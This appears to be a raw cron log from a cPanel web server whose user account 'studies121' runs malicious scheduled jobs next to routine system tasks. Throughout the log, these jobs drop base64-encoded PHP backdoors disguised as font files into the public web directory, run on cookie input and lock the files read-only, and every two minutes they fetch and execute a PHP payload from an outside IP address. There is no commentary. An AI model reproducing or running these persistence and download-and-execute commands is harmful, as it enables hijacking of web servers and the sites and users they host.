Sep 10 13:50:01 ip-184-168-122-23 CROND[18827]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 13:50:01 ip-184-168-122-23 CROND[18830]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 13:50:01 ip-184-168-122-23 CROND[18835]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 13:50:01 ip-184-168-122-23 CROND[18832]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 13:50:01 ip-184-168-122-23 CROND[18833]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 13:50:01 ip-184-168-122-23 CROND[18836]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 13:50:01 ip-184-168-122-23 CROND[18834]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 13:50:01 ip-184-168-122-23 CROND[18837]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 13:51:01 ip-184-168-122-23 CROND[18986]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 13:51:01 ip-184-168-122-23 CROND[18988]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 13:51:01 ip-184-168-122-23 CROND[18989]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 13:51:01 ip-184-168-122-23 CROND[18987]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 13:52:01 ip-184-168-122-23 CROND[19098]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 13:52:01 ip-184-168-122-23 CROND[19100]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 13:52:01 ip-184-168-122-23 CROND[19102]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 13:52:01 ip-184-168-122-23 CROND[19101]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 13:52:01 ip-184-168-122-23 CROND[19103]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 13:53:01 ip-184-168-122-23 CROND[19192]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 13:53:01 ip-184-168-122-23 CROND[19194]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 13:53:01 ip-184-168-122-23 CROND[19195]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 13:53:01 ip-184-168-122-23 CROND[19197]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 13:54:01 ip-184-168-122-23 CROND[19310]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 13:54:01 ip-184-168-122-23 CROND[19312]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 13:54:01 ip-184-168-122-23 CROND[19313]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 13:54:01 ip-184-168-122-23 CROND[19315]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 13:54:01 ip-184-168-122-23 CROND[19314]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 13:55:01 ip-184-168-122-23 CROND[19410]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 13:55:01 ip-184-168-122-23 CROND[19412]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 13:55:01 ip-184-168-122-23 CROND[19414]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 13:55:01 ip-184-168-122-23 CROND[19413]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 13:55:01 ip-184-168-122-23 CROND[19416]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 13:55:01 ip-184-168-122-23 CROND[19415]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 13:56:01 ip-184-168-122-23 CROND[19516]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 13:56:01 ip-184-168-122-23 CROND[19518]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 13:56:01 ip-184-168-122-23 CROND[19519]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 13:56:01 ip-184-168-122-23 CROND[19522]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 13:56:01 ip-184-168-122-23 CROND[19520]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 13:57:01 ip-184-168-122-23 CROND[19702]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 13:57:01 ip-184-168-122-23 CROND[19703]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 13:57:01 ip-184-168-122-23 CROND[19705]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 13:57:01 ip-184-168-122-23 CROND[19706]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 13:58:01 ip-184-168-122-23 CROND[19812]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 13:58:01 ip-184-168-122-23 CROND[19814]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 13:58:01 ip-184-168-122-23 CROND[19816]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 13:58:01 ip-184-168-122-23 CROND[19817]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 13:58:01 ip-184-168-122-23 CROND[19821]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 13:59:01 ip-184-168-122-23 CROND[19921]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 13:59:01 ip-184-168-122-23 CROND[19923]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 13:59:01 ip-184-168-122-23 CROND[19926]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 13:59:01 ip-184-168-122-23 CROND[19929]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 14:00:01 ip-184-168-122-23 CROND[20047]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 14:00:01 ip-184-168-122-23 CROND[20051]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep 10 14:00:02 ip-184-168-122-23 CROND[20055]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 14:00:02 ip-184-168-122-23 CROND[20056]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 14:00:02 ip-184-168-122-23 CROND[20057]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 14:00:02 ip-184-168-122-23 CROND[20053]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 14:00:02 ip-184-168-122-23 CROND[20058]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 14:00:02 ip-184-168-122-23 CROND[20054]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 14:00:02 ip-184-168-122-23 CROND[20064]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 14:01:01 ip-184-168-122-23 CROND[20199]: (root) CMD (run-parts /etc/cron.hourly)
Sep 10 14:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[20199]: starting 0anacron
Sep 10 14:01:01 ip-184-168-122-23 CROND[20203]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 14:01:01 ip-184-168-122-23 CROND[20205]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 14:01:01 ip-184-168-122-23 CROND[20206]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 14:01:01 ip-184-168-122-23 CROND[20209]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 14:01:01 ip-184-168-122-23 CROND[20204]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 14:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[20220]: finished 0anacron
Sep 10 14:02:01 ip-184-168-122-23 CROND[20392]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 14:02:01 ip-184-168-122-23 CROND[20394]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
